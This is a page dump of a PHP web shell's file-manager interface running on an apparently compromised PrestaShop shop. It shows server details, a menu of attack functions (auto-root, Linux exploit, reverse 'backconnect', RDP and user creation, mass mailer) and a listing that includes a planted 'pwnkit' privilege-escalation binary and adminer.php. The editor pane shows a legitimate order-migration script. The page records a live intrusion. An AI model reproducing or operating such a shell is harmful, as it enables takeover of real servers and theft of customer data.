Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.216.43
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
install /
upgrade /
php /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
add_accounting_tab.php
1.51
KB
-rw----r--
add_attribute_position.php
1.69
KB
-rw----r--
add_carrier_position.php
1.35
KB
-rw----r--
add_column_order_state_deleted...
1.44
KB
-rw----r--
add_column_orders_reference_if...
1.25
KB
-rw----r--
add_default_restrictions_modul...
1.96
KB
-rw----r--
add_feature_position.php
1.33
KB
-rw----r--
add_group_attribute_position.p...
1.35
KB
-rw----r--
add_id_shop_to_shipper_lang_in...
1.42
KB
-rw----r--
add_missing_columns_customer.p...
2.18
KB
-rw----r--
add_missing_image_key.php
1.41
KB
-rw----r--
add_missing_rewrite_value.php
1.5
KB
-rw----r--
add_missing_shop_column_pageno...
1.65
KB
-rw----r--
add_module_to_hook.php
1.99
KB
-rw----r--
add_new_groups.php
3.09
KB
-rw----r--
add_new_tab.php
2.89
KB
-rw----r--
add_order_reference_in_order_p...
3.26
KB
-rw----r--
add_order_state.php
2.95
KB
-rw----r--
add_required_customization_fie...
1.54
KB
-rw----r--
add_stock_tab.php
2.36
KB
-rw----r--
add_unknown_gender.php
1.99
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
alter_blocklink.php
1.34
KB
-rw----r--
alter_cms_block.php
1.66
KB
-rw----r--
alter_productcomments_guest_in...
1.31
KB
-rw----r--
attribute_group_clean_combinat...
1.69
KB
-rw----r--
autoload_classmap.php
0
B
-r--r--r--
block_category_1521.php
1.69
KB
-rw----r--
blocknewsletter.php
1.14
KB
-rw----r--
blocknewsletter1530.php
1.37
KB
-rw----r--
category_product_index_unique....
1.46
KB
-rw----r--
check_webservice_account_table...
1.52
KB
-rw----r--
clean_category_product.php
1.5
KB
-rw----r--
clean_tabs_15.php
13.05
KB
-rw----r--
cms_block.php
1.22
KB
-rw----r--
configuration_double_cleaner.p...
1.53
KB
-rw----r--
convert_product_price.php
2
KB
-rw----r--
country_to_timezone.php
7.6
KB
-rw----r--
create_multistore.php
4.14
KB
-rw----r--
deactivate_custom_modules.php
3.02
KB
-rw----r--
delivery_number_set.php
1.73
KB
-rw----r--
drop_image_type_non_unique_ind...
1.3
KB
-rw----r--
drop_module_non_unique_index.p...
1.64
KB
-rw----r--
ecotax_tax_application_fix.php
1.25
KB
-rw----r--
editorial_update.php
3.12
KB
-rw----r--
editorial_update_multishop.php
1.36
KB
-rw----r--
fix_cms_shop_1520.php
2.19
KB
-rw----r--
fix_download_product_feature_a...
1.27
KB
-rw----r--
fix_unique_specific_price.php
1.57
KB
-rw----r--
generate_ntree.php
1.86
KB
-rw----r--
generate_root_category_for_mul...
2.82
KB
-rw----r--
generate_tax_rules.php
3.52
KB
-rw----r--
generic_add_missing_column.php
1.45
KB
-rw----r--
gridextjs_deprecated.php
1.54
KB
-rw----r--
group_reduction_column_fix.php
1.26
KB
-rw----r--
hook_blocksearch_on_header.php
1.59
KB
-rw----r--
id_currency_country_fix.php
1.23
KB
-rw----r--
image_shop1510.php
1.21
KB
-rw----r--
index.php
1.26
KB
-rw----r--
invoice_number_set.php
1.73
KB
-rw----r--
latin1_database_to_utf8.php
8.21
KB
-rw----r--
migrate_block_info_to_cms_bloc...
5.97
KB
-rw----r--
migrate_orders.php
12.25
KB
-rw----r--
migrate_tabs_15.php
7.49
KB
-rw----r--
migrate_tabs_multi_shop.php
2.43
KB
-rw----r--
module_blockwishlist_multishop...
1.37
KB
-rw----r--
module_reinstall_blockmyaccoun...
1.92
KB
-rw----r--
module_reinstall_blocksearch.p...
1.91
KB
-rw----r--
move_crossselling.php
1.42
KB
-rw----r--
move_translations_module_file....
2.28
KB
-rw----r--
outstanding_allow_amount1530.p...
1.47
KB
-rw----r--
p15010_drop_column_id_address_...
1.44
KB
-rw----r--
p15012_add_missing_columns.php
9.58
KB
-rw----r--
p15013_add_missing_columns.php
1.88
KB
-rw----r--
p15014_add_missing_columns.php
1.67
KB
-rw----r--
p15014_copy_missing_images_tab...
1.96
KB
-rw----r--
p15014_upgrade_sekeywords.php
1.28
KB
-rw----r--
p15015_blockadvertising_extens...
1.93
KB
-rw----r--
p15016_add_missing_columns.php
3.76
KB
-rw----r--
p15017_add_id_shop_to_primary_...
1.96
KB
-rw----r--
p15018_change_image_types.php
5.86
KB
-rw----r--
p1531_redirect_type.php
1.4
KB
-rw----r--
p1540_add_missing_columns.php
2.95
KB
-rw----r--
p1603_add_attachment_size.php
1.36
KB
-rw----r--
p1606module_exceptions.php
3.87
KB
-rw----r--
ps1600_add_missing_index.php
1.24
KB
-rw----r--
ps1604_update_employee_date.ph...
1.24
KB
-rw----r--
ps1605_change_index.php
1.35
KB
-rw----r--
ps1607_language_code_update.ph...
1.74
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
regenerate_level_depth.php
1.95
KB
-rw----r--
remove_duplicate_category_grou...
1.62
KB
-rw----r--
remove_module_from_hook.php
1.55
KB
-rw----r--
remove_tab.php
1.17
KB
-rw----r--
reorderpositions.php
3.98
KB
-rw----r--
set_discount_category.php
1.44
KB
-rw----r--
set_payment_module.php
1.82
KB
-rw----r--
set_payment_module_group.php
1.63
KB
-rw----r--
set_product_suppliers.php
2.69
KB
-rw----r--
set_stock_available.php
2.76
KB
-rw----r--
setallgroupsonhomecategory.php
1.6
KB
-rw----r--
shop_url.php
2.13
KB
-rw----r--
update_carrier_url.php
1.48
KB
-rw----r--
update_customer_default_group....
2.73
KB
-rw----r--
update_feature_detachable_cach...
2.13
KB
-rw----r--
update_for_13version.php
2.52
KB
-rw----r--
update_genders_images.php
1.56
KB
-rw----r--
update_image_size_in_db.php
2.14
KB
-rw----r--
update_mailalerts_add_column_i...
1.62
KB
-rw----r--
update_module_blocklayered.php
1.23
KB
-rw----r--
update_module_followup.php
1.27
KB
-rw----r--
update_module_loyalty.php
2.04
KB
-rw----r--
update_module_pagesnotfound.ph...
1.69
KB
-rw----r--
update_module_product_comments...
1.78
KB
-rw----r--
update_modules_multishop.php
2.47
KB
-rw----r--
update_modules_sql.php
1.9
KB
-rw----r--
update_order_canada.php
4.42
KB
-rw----r--
update_order_detail_taxes.php
2.88
KB
-rw----r--
update_order_details.php
1.46
KB
-rw----r--
update_order_messages.php
2.74
KB
-rw----r--
update_products_ecotax_v133.ph...
1.24
KB
-rw----r--
update_stock_mvt_reason.php
3.48
KB
-rw----r--
updateproductcomments.php
3.2
KB
-rw----r--
updatetabicon_from_11version.p...
1.56
KB
-rw----r--
upgrade_cms_15.php
2.27
KB
-rw----r--
upgrade_cms_15_rename.php
1.81
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : migrate_orders.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ function migrate_orders() { $array_errors = array(); $res = true; if (!defined('PS_TAX_EXC')) define('PS_TAX_EXC', 1); if (!defined('PS_TAX_INC')) define('PS_TAX_INC', 0); $col_order_detail_old = Db::getInstance()->executeS('SHOW FIELDS FROM `'._DB_PREFIX_.'order_detail`'); foreach ($col_order_detail_old as $k => $field) if ($field['Field'] != 'id_order_invoice') $col_order_detail[$k] = $field['Field']; if (!$col_order_detail_old) return array('error' => 1, 'msg' => 'unable to get fields list from order_detail table'); $insert_order_detail = 'INSERT INTO `'._DB_PREFIX_.'order_detail_2` (`'.implode('`, `', $col_order_detail).'`) VALUES '; $col_orders = array(); $col_orders_old = Db::getInstance()->executeS('SHOW FIELDS FROM `'._DB_PREFIX_.'orders`'); if (!$col_orders_old) return array('error' => 1, 'msg' => 'unable to get fields list from orders table'); foreach ($col_orders_old as $k => $field) $col_orders[$k] = $field['Field']; $insert_order = 'INSERT INTO `'._DB_PREFIX_.'orders_2` (`'.implode('`, `', $col_orders).'`) VALUES '; // create temporary tables $res = mo_duplicateTables(); if (!$res) $array_errors[] = 'unable to duplicate tables orders and order_detail'; // this was done like that previously $wrapping_tax_rate = 1 + ((float)Db::getInstance()->getValue('SELECT value FROM `'._DB_PREFIX_.'configuration` WHERE name = "PS_GIFT_WRAPPING_TAX"') / 100); $step = 3000; $count_orders = Db::getInstance()->getValue('SELECT count(id_order) FROM '._DB_PREFIX_.'orders'); $nb_loop = $start = 0; if($count_orders > 0) $nb_loop = ceil($count_orders / $step); for($i = 0; $i < $nb_loop; $i++) { $order_res = Db::getInstance()->query('SELECT * FROM `'._DB_PREFIX_.'orders` LIMIT '.(int)$start.', '.(int)$step); $start = intval(($i+1) * $step); $cpt = 0; $flush_limit = 200; while ($order = Db::getInstance()->nextRow($order_res)) { $sum_total_products = 0; $sum_tax_amount = 0; $default_group_id = mo_getCustomerDefaultGroup((int)$order['id_customer']); $price_display_method = mo_getPriceDisplayMethod((int)$default_group_id); $order_details_list = Db::getInstance()->query(' SELECT od.* FROM `'._DB_PREFIX_.'order_detail` od WHERE od.`id_order` = '.(int)$order['id_order']); while ($order_details = Db::getInstance()->nextRow($order_details_list)) { // we don't want to erase order_details data in order to create the insert query $products = mo_setProductPrices($order_details, $price_display_method); $tax_rate = 1 + ((float)$products['tax_rate'] / 100); $reduction_amount_tax_incl = (float)$products['reduction_amount']; // cart::getTaxesAverageUsed equivalent $sum_total_products += $products['total_price']; $sum_tax_amount += $products['total_wt'] - $products['total_price']; $order_details['reduction_amount_tax_incl'] = $reduction_amount_tax_incl; $order_details['reduction_amount_tax_excl'] = (float)mo_ps_round($reduction_amount_tax_incl / $tax_rate); $order_details['total_price_tax_incl'] = (float)$products['total_wt']; $order_details['total_price_tax_excl'] = (float)$products['total_price']; $order_details['unit_price_tax_incl'] = (float)$products['product_price_wt']; $order_details['unit_price_tax_excl'] = (float)$products['product_price']; foreach (array_keys($order_details) as $k) if (!in_array($k, $col_order_detail)) unset($order_details[$k]); else { if (in_array($order_details[$k], array('product_price', 'reduction_percent', 'reduction_amount', 'group_reduction', 'product_quantity_discount', 'tax_rate', 'ecotax', 'ecotax_tax_rate'))) $order_details[$k] = (float)$order_details[$k]; else $order_details[$k] = Db::getInstance()->escape($order_details[$k]); } if (count($order_details)) $values_order_detail[] = '(\''.implode('\', \'', $order_details).'\')'; unset($order_details); } $average_tax_used = 1; if ($sum_total_products > 0) $average_tax_used += $sum_tax_amount / $sum_total_products; $average_tax_used = round($average_tax_used, 4); $carrier_tax_rate = 1; if (isset($order['carrier_tax_rate'])) $carrier_tax_rate + ((float)$order['carrier_tax_rate'] / 100); $total_discount_tax_excl = $order['total_discounts'] / $average_tax_used; $order['total_discounts_tax_incl'] = (float)$order['total_discounts']; $order['total_discounts_tax_excl'] = (float)$total_discount_tax_excl; $order['total_shipping_tax_incl'] = (float)$order['total_shipping']; $order['total_shipping_tax_excl'] = (float)($order['total_shipping'] / $carrier_tax_rate); $shipping_taxes = $order['total_shipping_tax_incl'] - $order['total_shipping_tax_excl']; $order['total_wrapping_tax_incl'] = (float)$order['total_wrapping']; $order['total_wrapping_tax_excl'] = ((float)$order['total_wrapping'] / $wrapping_tax_rate); $wrapping_taxes = $order['total_wrapping_tax_incl'] - $order['total_wrapping_tax_excl']; $product_taxes = $order['total_products_wt'] - $order['total_products']; $order['total_paid_tax_incl'] = (float)$order['total_paid']; $order['total_paid_tax_excl'] = (float)$order['total_paid'] - $shipping_taxes - $wrapping_taxes - $product_taxes; // protect text and varchar fields $order['gift_message'] = Db::getInstance()->escape($order['gift_message']); $order['payment'] = Db::getInstance()->escape($order['payment']); $order['module'] = Db::getInstance()->escape($order['module']); $values_order[] = '(\''.implode('\', \'', $order).'\')'; unset($order); $cpt++; // limit to $cpt if ($cpt >= $flush_limit) { $cpt = 0; if (isset($values_order_detail) && count($values_order_detail) && !Db::getInstance()->execute($insert_order_detail. implode(',', $values_order_detail))) { $res = false; $array_errors[] = '[insert order detail 1] - '.Db::getInstance()->getMsgError(); } if (isset($values_order) && count($values_order) && !Db::getInstance()->execute($insert_order. implode(',', $values_order))) { $res = false; $array_errors[] = '[insert order 2] - '.Db::getInstance()->getMsgError(); } if (isset($values_order)) unset($values_order); if (isset($values_order_detail)) unset($values_order_detail); } } } if (isset($values_order_detail) && count($values_order_detail) && !Db::getInstance()->execute($insert_order_detail. implode(',', $values_order_detail))) { $res = false; $array_errors[] = '[insert order detail 3] - '.Db::getInstance()->getMsgError(); } if (isset($values_order) && count($values_order) && !Db::getInstance()->execute($insert_order. implode(',', $values_order))) { $res = false; $array_errors[] = '[insert order 4] - '.Db::getInstance()->getMsgError(); } if (isset($values_order)) unset($values_order); if (isset($values_order_detail)) unset($values_order_detail); if (!mo_renameTables()) { $res = false; $array_errors[] = 'unable to rename tables orders_2 and order_detail_2 to orders and order_detail'; } if (!$res) return array('error' => 1, 'msg' => count($array_errors).' error(s) : <br/>'.implode('<br/>', $array_errors)); } /** * mo_ps_round is a simplification of Tools::ps_round: * - round is always 2 * - no call to Configuration class * * @param mixed $val * @return void */ function mo_ps_round($val) { static $ps_price_round_mode; if (empty($ps_price_round_mode)) { $ps_price_round_mode = Db::getInstance()->getValue('SELECT value FROM `'._DB_PREFIX_.'configuration` WHERE name = "PS_PRICE_ROUND_MODE"'); } switch ($ps_price_round_mode) { case 0: return ceil($val * 100)/100; case 1: return floor($val * 100)/100; default: return round($val, 2); } } function mo_duplicateTables() { $res = true; $res &= Db::getInstance()->execute('CREATE TABLE `'._DB_PREFIX_.'orders_2` LIKE `'._DB_PREFIX_.'orders`'); $res &= Db::getInstance()->execute('CREATE TABLE `'._DB_PREFIX_.'order_detail_2` LIKE `'._DB_PREFIX_.'order_detail`'); return $res; } function mo_renameTables() { $res = true; $res &= Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'orders`'); $res &= Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'order_detail`'); $res &= Db::getInstance()->execute('RENAME TABLE `'._DB_PREFIX_.'orders_2` TO `'._DB_PREFIX_.'orders`'); $res &= Db::getInstance()->execute('RENAME TABLE `'._DB_PREFIX_.'order_detail_2` TO `'._DB_PREFIX_.'order_detail`'); return $res; } function mo_getCustomerDefaultGroup($id_customer) { static $cache; if (!isset($cache[$id_customer])) $cache[$id_customer] = Db::getInstance()->getValue('SELECT `id_default_group` FROM `'._DB_PREFIX_.'customer` WHERE `id_customer` = '.(int)$id_customer); return $cache[$id_customer]; } function mo_getPriceDisplayMethod($id_group) { static $cache; if (!isset($cache[$id_group])) $cache[$id_group] = Db::getInstance()->getValue(' SELECT `price_display_method` FROM `'._DB_PREFIX_.'group` WHERE `id_group` = '.(int)$id_group); return $cache[$id_group]; } function mo_setProductPrices($row, $tax_calculation_method) { if ($tax_calculation_method == PS_TAX_EXC) $row['product_price'] = mo_ps_round($row['product_price']); else $row['product_price_wt'] = mo_ps_round($row['product_price'] * (1 + $row['tax_rate'] / 100)); $group_reduction = 1; if ($row['group_reduction'] > 0) $group_reduction = 1 - $row['group_reduction'] / 100; if ($row['reduction_percent'] != 0) { if ($tax_calculation_method == PS_TAX_EXC) $row['product_price'] = ($row['product_price'] - $row['product_price'] * ($row['reduction_percent'] * 0.01)); else { $reduction = mo_ps_round($row['product_price_wt'] * ($row['reduction_percent'] * 0.01)); $row['product_price_wt'] = mo_ps_round(($row['product_price_wt'] - $reduction)); } } if ($row['reduction_amount'] != 0) { if ($tax_calculation_method == PS_TAX_EXC) $row['product_price'] = ($row['product_price'] - ($row['reduction_amount'] / (1 + $row['tax_rate'] / 100))); else $row['product_price_wt'] = mo_ps_round(($row['product_price_wt'] - $row['reduction_amount'])); } if ($row['group_reduction'] > 0) { if ($tax_calculation_method == PS_TAX_EXC) $row['product_price'] = $row['product_price'] * $group_reduction; else $row['product_price_wt'] = mo_ps_round($row['product_price_wt'] * $group_reduction); } if (($row['reduction_percent'] OR $row['reduction_amount'] OR $row['group_reduction']) AND $tax_calculation_method == PS_TAX_EXC) $row['product_price'] = mo_ps_round($row['product_price']); if ($tax_calculation_method == PS_TAX_EXC) $row['product_price_wt'] = mo_ps_round($row['product_price'] * (1 + ($row['tax_rate'] * 0.01))) + mo_ps_round($row['ecotax'] * (1 + $row['ecotax_tax_rate'] / 100)); else { $row['product_price_wt_but_ecotax'] = $row['product_price_wt']; $row['product_price_wt'] = mo_ps_round($row['product_price_wt'] + $row['ecotax'] * (1 + $row['ecotax_tax_rate'] / 100)); } if ($tax_calculation_method != PS_TAX_EXC) $row['product_price'] = $row['product_price_wt'] / (1 + $row['tax_rate'] / 100); $row['total_wt'] = $row['product_quantity'] * $row['product_price_wt']; $row['total_price'] = $row['product_quantity'] * $row['product_price']; return $row; }
Close